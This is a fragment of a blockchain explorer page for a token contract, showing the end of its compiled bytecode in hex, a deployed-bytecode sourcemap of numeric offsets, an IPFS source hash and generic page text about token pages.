611056565b9850508801359550505060408601359250611095905060608601610e9c565b905092959194509250565b5f80604083850312156110b1575f80fd5b82356110bc81610e85565b915060208301356110cc81610e85565b809150509250929050565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176102f6576102f661110e565b5f8261115357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b808201808211156102f6576102f661110e565b5f600182016111905761119061110e565b5060010190565b80516001600160701b0381168114610ea7575f80fd5b5f805f606084860312156111bf575f80fd5b6111c884611197565b92506111d660208501611197565b9150604084015163ffffffff811681146111ee575f80fd5b809150509250925092565b5f60208284031215611209575f80fd5b81516109e781610e85565b5f60208284031215611224575f80fd5b815180151581146109e7575f80fd5b818103818111156102f6576102f661110e56fea264697066735822122018f0d2d70e6f1830f8828b48ff609d0055c5092abe50f80510a4286b4c54786b64736f6c63430008140033

Deployed Bytecode Sourcemap

1579:8088:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2247:43;;;;;;;;;;;;;;;-1:-1:-1;;;2247:43:0;;;;;;;;;;;;:::i;:::-;;;;;;;;4223:158;;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;4223:158:0;1162:187:1;2383:42:0;;;;;;;;;1500:25:1;;;1488:2;1473:18;2383:42:0;1354:177:1;7424:528:0;;;;;;:::i;:::-;;:::i;:::-;;4389:248;;;;;;:::i;:::-;;:::i;2341:35::-;;2374:2;2341:35;;;;;2931:4:1;2919:17;;;2901:36;;2889:2;2874:18;2341:35:0;2759:184:1;7126:290:0;;;;;;:::i;:::-;;:::i;4645:242::-;;;;;;:::i;:::-;;:::i;7966:86::-;;;;;;:::i;:::-;;:::i;3787:117::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3879:17:0;3852:7;3879:17;;;:8;:17;;;;;;;3787:117;3696:83;;;:::i;1659:20::-;;;;;-1:-1:-1;;;;;1659:20:0;;;;;;-1:-1:-1;;;;;3364:32:1;;;3346:51;;3334:2;3319:18;1659:20:0;3200:203:1;2297:37:0;;;;;;;;;;;;;;;-1:-1:-1;;;2297:37:0;;;;;6760:358;;;;;;:::i;:::-;;:::i;8064:293::-;;;;;;:::i;:::-;;:::i;4895:438::-;;;;;;:::i;:::-;;:::i;3912:150::-;;;;;;:::i;:::-;;:::i;4070:145::-;;;;;;:::i;:::-;;:::i;4223:158::-;4297:4;4314:37;4323:10;4335:7;4344:6;4314:8;:37::i;:::-;-1:-1:-1;4369:4:0;4223:158;;;;;:::o;7424:528::-;3124:5;;-1:-1:-1;;;;;3124:5:0;3133:10;3124:19;3116:55;;;;-1:-1:-1;;;3116:55:0;;;;;;;:::i;:::-;;;;;;;;;7550:24:::1;7596:3;7577:11;;7591:2;7577:16;;;;:::i;:::-;:22;;;;:::i;:::-;7550:49;;7608:6;7604:345;7618:15:::0;;::::1;7604:345;;;7647:12;7662:6;;7669:1;7662:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7681:14:0;::::1;;::::0;;;:8:::1;:14;::::0;;;;;7647:24;;-1:-1:-1;7681:37:0;-1:-1:-1;7678:266:0::1;;7729:20;7752:28;7765:4;7771:8;7752:12;:28::i;:::-;-1:-1:-1::0;;;;;7794:14:0;::::1;;::::0;;;:8:::1;:14;::::0;;;;;7729:51;;-1:-1:-1;7794:34:0;-1:-1:-1;7791:146:0::1;;-1:-1:-1::0;;;;;7841:14:0;::::1;;::::0;;;:8:::1;:14;::::0;;;;:30;;7859:12;;7841:14;:30:::1;::::0;7859:12;;7841:30:::1;:::i;:::-;::::0;;;-1:-1:-1;7791:146:0::1;::::0;-1:-1:-1;7791:146:0::1;;-1:-1:-1::0;;;;;7898:14:0;::::1;;::::0;;;:8:::1;:14;::::0;;;;:29;;;7791:146:::1;7720:224;7678:266;-1:-1:-1::0;7635:3:0;::::1;::::0;::::1;:::i;:::-;;;;7604:345;;;;7545:407;7424:528:::0;;;;:::o;4389:248::-;4511:4;4528:41;4544:4;4550:10;4562:6;4528:15;:41::i;:::-;4580:27;4590:4;4596:2;4600:6;4580:9;:27::i;:::-;-1:-1:-1;4625:4:0;4389:248;;;;;:::o;7126:290::-;7191:7;7212:16;7230;7252:5;;;;;;;;;-1:-1:-1;;;;;7252:5:0;-1:-1:-1;;;;;7252:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7211:60;;;;;7282:24;7328:5;-1:-1:-1;;;;;7310:23:0;:5;;;;;;;;;-1:-1:-1;;;;;7310:5:0;-1:-1:-1;;;;;7310:12:0;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7310:23:0;;7309:65;;7365:8;-1:-1:-1;;;;;7357:17:0;7309:65;;;7345:8;-1:-1:-1;;;;;7337:17:0;7309:65;7282:92;7126:290;-1:-1:-1;;;;;7126:290:0:o;4645:242::-;4733:4;4768:10;4789:68;4768:10;4807:7;4846:10;4816:27;4768:10;4807:7;4816:9;:27::i;:::-;:40;;;;:::i;:::-;4789:8;:68::i;7966:86::-;3124:5;;-1:-1:-1;;;;;3124:5:0;3133:10;3124:19;3116:55;;;;-1:-1:-1;;;3116:55:0;;;;;;;:::i;:::-;8028:6:::1;:16:::0;;-1:-1:-1;;;;;;8028:16:0::1;-1:-1:-1::0;;;;;8028:16:0;;;::::1;::::0;;;::::1;::::0;;7966:86::o;3696:83::-;3124:5;;-1:-1:-1;;;;;3124:5:0;3133:10;3124:19;3116:55;;;;-1:-1:-1;;;3116:55:0;;;;;;;:::i;:::-;3753:5:::1;:18:::0;;-1:-1:-1;;;;;;3753:18:0::1;::::0;;3696:83::o;6760:358::-;3239:6;;6938:4;;-1:-1:-1;;;;;3239:6:0;3249:10;3239:20;3231:56;;;;-1:-1:-1;;;3231:56:0;;7659:2:1;3231:56:0;;;7641:21:1;7698:2;7678:18;;;7671:30;7737:25;7717:18;;;7710:53;7780:18;;3231:56:0;7457:347:1;3231:56:0;6960:9:::1;6955:134;6979:10;:17;6975:1;:21;6955:134;;;7018:59;7024:10;7035:1;7024:13;;;;;;;;:::i;:::-;;;;;;;7039:11;7052:10;7064:12;7018:5;:59::i;:::-;6998:3:::0;::::1;::::0;::::1;:::i;:::-;;;;6955:134;;;-1:-1:-1::0;7106:4:0::1;::::0;6760:358;-1:-1:-1;;;;;6760:358:0:o;8064:293::-;8166:9;8161:189;8181:22;;;8161:189;;;8265:11;;8277:1;8265:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;8236:10;;8230:50;;;8056:25:1;;;8236:10:0;8112:2:1;8097:18;;8090:34;;;8140:18;;;8133:34;8198:2;8183:18;;8176:34;;;8230:50:0;;-1:-1:-1;;;;;8230:50:0;;;;8236:10;;;;8230:50;;;;;8043:3:1;8230:50:0;;;8317:11;;8329:1;8317:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;8309:6;;8300:38;;1500:25:1;;;-1:-1:-1;;;;;8300:38:0;;;;8309:6;;;;8300:38;;1488:2:1;1473:18;8300:38:0;;;;;;;8205:3;;;;:::i;:::-;;;;8161:189;;;;8064:293;;;;:::o;4895:438::-;4988:4;5023:10;4988:4;5071:27;5023:10;5090:7;5071:9;:27::i;:::-;5044:54;;5137:15;5117:16;:35;;5109:85;;;;-1:-1:-1;;;5109:85:0;;8423:2:1;5109:85:0;;;8405:21:1;8462:2;8442:18;;;8435:30;8501:34;8481:18;;;8474:62;-1:-1:-1;;;8552:18:1;;;8545:35;8597:19;;5109:85:0;8221:401:1;5109:85:0;5230:62;5239:7;5248;5276:15;5257:16;:34;5230:8;:62::i;:::-;-1:-1:-1;5321:4:0;;4895:438;-1:-1:-1;;;;4895:438:0:o;3912:150::-;3982:4;3999:33;4009:10;4021:2;4025:6;3999:9;:33::i;4070:145::-;-1:-1:-1;;;;;4179:19:0;;;4152:7;4179:19;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;4070:145::o;5900:387::-;-1:-1:-1;;;;;6038:21:0;;6030:70;;;;-1:-1:-1;;;6030:70:0;;8829:2:1;6030:70:0;;;8811:21:1;8868:2;8848:18;;;8841:30;8907:34;8887:18;;;8880:62;-1:-1:-1;;;8958:18:1;;;8951:34;9002:19;;6030:70:0;8627:400:1;6030:70:0;-1:-1:-1;;;;;6119:21:0;;6111:68;;;;-1:-1:-1;;;6111:68:0;;9234:2:1;6111:68:0;;;9216:21:1;9273:2;9253:18;;;9246:30;9312:34;9292:18;;;9285:62;-1:-1:-1;;;9363:18:1;;;9356:32;9405:19;;6111:68:0;9032:398:1;6111:68:0;-1:-1:-1;;;;;6192:19:0;;;;;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6245:34;;1500:25:1;;;6245:34:0;;1473:18:1;6245:34:0;;;;;;;;5900:387;;;:::o;9076:146::-;-1:-1:-1;;;;;9188:15:0;;9154:7;9188:15;;;:8;:15;;;;;;9181:33;;9205:8;9181:6;:33::i;:::-;9174:40;9076:146;-1:-1:-1;;;9076:146:0:o;6293:459::-;6430:24;6457:27;6467:7;6476;6457:9;:27::i;:::-;6430:54;;-1:-1:-1;;6499:16:0;:37;6495:250;;6581:6;6561:16;:26;;6553:68;;;;-1:-1:-1;;;6553:68:0;;9637:2:1;6553:68:0;;;9619:21:1;9676:2;9656:18;;;9649:30;9715:31;9695:18;;;9688:59;9764:18;;6553:68:0;9435:353:1;6553:68:0;6665:53;6674:7;6683;6711:6;6692:16;:25;6665:8;:53::i;:::-;6419:333;6293:459;;;:::o;5341:551::-;-1:-1:-1;;;;;5472:18:0;;5464:68;;;;-1:-1:-1;;;5464:68:0;;9995:2:1;5464:68:0;;;9977:21:1;10034:2;10014:18;;;10007:30;10073:34;10053:18;;;10046:62;-1:-1:-1;;;10124:18:1;;;10117:35;10169:19;;5464:68:0;9793:401:1;5464:68:0;-1:-1:-1;;;;;5551:16:0;;5543:64;;;;-1:-1:-1;;;5543:64:0;;10401:2:1;5543:64:0;;;10383:21:1;10440:2;10420:18;;;10413:30;10479:34;10459:18;;;10452:62;-1:-1:-1;;;10530:18:1;;;10523:33;10573:19;;5543:64:0;10199:399:1;5543:64:0;-1:-1:-1;;;;;5642:14:0;;5620:19;5642:14;;;:8;:14;;;;;;5675:21;;;;5667:72;;;;-1:-1:-1;;;5667:72:0;;10805:2:1;5667:72:0;;;10787:21:1;10844:2;10824:18;;;10817:30;10883:34;10863:18;;;10856:62;-1:-1:-1;;;10934:18:1;;;10927:36;10980:19;;5667:72:0;10603:402:1;5667:72:0;5767:24;5771:11;5784:6;5767:3;:24::i;:::-;-1:-1:-1;;;;;5750:14:0;;;;;;;:8;:14;;;;;;:41;;;;5821:12;;;;;;;5817:25;;5835:6;5817:3;:25::i;:::-;-1:-1:-1;;;;;5802:12:0;;;;;;;:8;:12;;;;;;;:40;;;;5858:26;;;;;;;;;;5877:6;1500:25:1;;1488:2;1473:18;;1354:177;5858:26:0;;;;;;;;5453:439;5341:551;;;:::o;8363:341::-;8523:37;8537:9;8548:11;8523:13;:37::i;:::-;8571:45;8581:11;8594:10;8606:9;8571;:45::i;:::-;8677:5;;8627:69;;-1:-1:-1;;;8627:69:0;;-1:-1:-1;;;;;11268:15:1;;;8627:69:0;;;11250:34:1;8677:5:0;;;11300:18:1;;;11293:43;11352:18;;;11345:34;;;8627:30:0;;;;;;11185:18:1;;8627:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;9563:101::-;9624:7;9651:5;9655:1;9651;:5;:::i;3504:184::-;3562:7;3595:1;3590;:6;;3582:49;;;;-1:-1:-1;;;3582:49:0;;11874:2:1;3582:49:0;;;11856:21:1;11913:2;11893:18;;;11886:30;11952:32;11932:18;;;11925:60;12002:18;;3582:49:0;11672:354:1;3582:49:0;3642:9;3654:5;3658:1;3654;:5;:::i;:::-;3642:17;3504:184;-1:-1:-1;;;;3504:184:0:o;3315:181::-;3373:7;;3405:5;3409:1;3405;:5;:::i;:::-;3393:17;;3434:1;3429;:6;;3421:46;;;;-1:-1:-1;;;3421:46:0;;12366:2:1;3421:46:0;;;12348:21:1;12405:2;12385:18;;;12378:30;12444:29;12424:18;;;12417:57;12491:18;;3421:46:0;12164:351:1;8710:144:0;8815:5;;8798:48;;1500:25:1;;;-1:-1:-1;;;;;8798:48:0;;;;8815:5;;8798:48;;1488:2:1;1473:18;8798:48:0;;;;;;;8710:144;;:::o;8860:208::-;9003:14;;8998:62;;;8056:25:1;;;9003:14:0;8112:2:1;8097:18;;8090:34;;;8140:18;;;8133:34;;;;8198:2;8183:18;;8176:34;;;-1:-1:-1;;;;;8998:62:0;;;;9003:14;;8998:62;;8043:3:1;8028:19;8998:62:0;7809:407:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:757::-;1640:6;1648;1656;1664;1717:2;1705:9;1696:7;1692:23;1688:32;1685:52;;;1733:1;1730;1723:12;1685:52;1773:9;1760:23;1802:18;1843:2;1835:6;1832:14;1829:34;;;1859:1;1856;1849:12;1829:34;1897:6;1886:9;1882:22;1872:32;;1942:7;1935:4;1931:2;1927:13;1923:27;1913:55;;1964:1;1961;1954:12;1913:55;2004:2;1991:16;2030:2;2022:6;2019:14;2016:34;;;2046:1;2043;2036:12;2016:34;2101:7;2094:4;2084:6;2081:1;2077:14;2073:2;2069:23;2065:34;2062:47;2059:67;;;2122:1;2119;2112:12;2059:67;2153:4;2145:13;;;;2177:6;;-1:-1:-1;2215:20:1;;;2202:34;;2283:2;2268:18;2255:32;;-1:-1:-1;1536:757:1;;-1:-1:-1;;;;1536:757:1:o;2298:456::-;2375:6;2383;2391;2444:2;2432:9;2423:7;2419:23;2415:32;2412:52;;;2460:1;2457;2450:12;2412:52;2499:9;2486:23;2518:31;2543:5;2518:31;:::i;:::-;2568:5;-1:-1:-1;2625:2:1;2610:18;;2597:32;2638:33;2597:32;2638:33;:::i;:::-;2298:456;;2690:7;;-1:-1:-1;;;2744:2:1;2729:18;;;;2716:32;;2298:456::o;2948:247::-;3007:6;3060:2;3048:9;3039:7;3035:23;3031:32;3028:52;;;3076:1;3073;3066:12;3028:52;3115:9;3102:23;3134:31;3159:5;3134:31;:::i;3408:127::-;3469:10;3464:3;3460:20;3457:1;3450:31;3500:4;3497:1;3490:15;3524:4;3521:1;3514:15;3540:1334;3651:6;3659;3667;3675;3728:3;3716:9;3707:7;3703:23;3699:33;3696:53;;;3745:1;3742;3735:12;3696:53;3785:9;3772:23;3814:18;3855:2;3847:6;3844:14;3841:34;;;3871:1;3868;3861:12;3841:34;3909:6;3898:9;3894:22;3884:32;;3954:7;3947:4;3943:2;3939:13;3935:27;3925:55;;3976:1;3973;3966:12;3925:55;4012:2;3999:16;4034:4;4057:2;4053;4050:10;4047:36;;;4063:18;;:::i;:::-;4109:2;4106:1;4102:10;4141:2;4135:9;4204:2;4200:7;4195:2;4191;4187:11;4183:25;4175:6;4171:38;4259:6;4247:10;4244:22;4239:2;4227:10;4224:18;4221:46;4218:72;;;4270:18;;:::i;:::-;4306:2;4299:22;4356:18;;;4390:15;;;;-1:-1:-1;4432:11:1;;;4428:20;;;4460:19;;;4457:39;;;4492:1;4489;4482:12;4457:39;4516:11;;;;4536:148;4552:6;4547:3;4544:15;4536:148;;;4618:23;4637:3;4618:23;:::i;:::-;4606:36;;4569:12;;;;4662;;;;4536:148;;;4703:6;-1:-1:-1;;4741:18:1;;4728:32;;-1:-1:-1;;;4807:2:1;4792:18;;4779:32;;-1:-1:-1;4830:38:1;;-1:-1:-1;4864:2:1;4849:18;;4830:38;:::i;:::-;4820:48;;3540:1334;;;;;;;:::o;4879:388::-;4947:6;4955;5008:2;4996:9;4987:7;4983:23;4979:32;4976:52;;;5024:1;5021;5014:12;4976:52;5063:9;5050:23;5082:31;5107:5;5082:31;:::i;:::-;5132:5;-1:-1:-1;5189:2:1;5174:18;;5161:32;5202:33;5161:32;5202:33;:::i;:::-;5254:7;5244:17;;;4879:388;;;;;:::o;5272:347::-;5474:2;5456:21;;;5513:2;5493:18;;;5486:30;5552:25;5547:2;5532:18;;5525:53;5610:2;5595:18;;5272:347::o;5624:127::-;5685:10;5680:3;5676:20;5673:1;5666:31;5716:4;5713:1;5706:15;5740:4;5737:1;5730:15;5756:168;5829:9;;;5860;;5877:15;;;5871:22;;5857:37;5847:71;;5898:18;;:::i;5929:217::-;5969:1;5995;5985:132;;6039:10;6034:3;6030:20;6027:1;6020:31;6074:4;6071:1;6064:15;6102:4;6099:1;6092:15;5985:132;-1:-1:-1;6131:9:1;;5929:217::o;6151:127::-;6212:10;6207:3;6203:20;6200:1;6193:31;6243:4;6240:1;6233:15;6267:4;6264:1;6257:15;6283:125;6348:9;;;6369:10;;;6366:36;;;6382:18;;:::i;6413:135::-;6452:3;6473:17;;;6470:43;;6493:18;;:::i;:::-;-1:-1:-1;6540:1:1;6529:13;;6413:135::o;6553:188::-;6632:13;;-1:-1:-1;;;;;6674:42:1;;6664:53;;6654:81;;6731:1;6728;6721:12;6746:450;6833:6;6841;6849;6902:2;6890:9;6881:7;6877:23;6873:32;6870:52;;;6918:1;6915;6908:12;6870:52;6941:40;6971:9;6941:40;:::i;:::-;6931:50;;7000:49;7045:2;7034:9;7030:18;7000:49;:::i;:::-;6990:59;;7092:2;7081:9;7077:18;7071:25;7136:10;7129:5;7125:22;7118:5;7115:33;7105:61;;7162:1;7159;7152:12;7105:61;7185:5;7175:15;;;6746:450;;;;;:::o;7201:251::-;7271:6;7324:2;7312:9;7303:7;7299:23;7295:32;7292:52;;;7340:1;7337;7330:12;7292:52;7372:9;7366:16;7391:31;7416:5;7391:31;:::i;11390:277::-;11457:6;11510:2;11498:9;11489:7;11485:23;11481:32;11478:52;;;11526:1;11523;11516:12;11478:52;11558:9;11552:16;11611:5;11604:13;11597:21;11590:5;11587:32;11577:60;;11633:1;11630;11623:12;12031:128;12098:9;;;12119:11;;;12116:37;;;12133:18;;:::i

Swarm Source

ipfs://18f0d2d70e6f1830f8828b48ff609d0055c5092abe50f80510a4286b4c54786b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.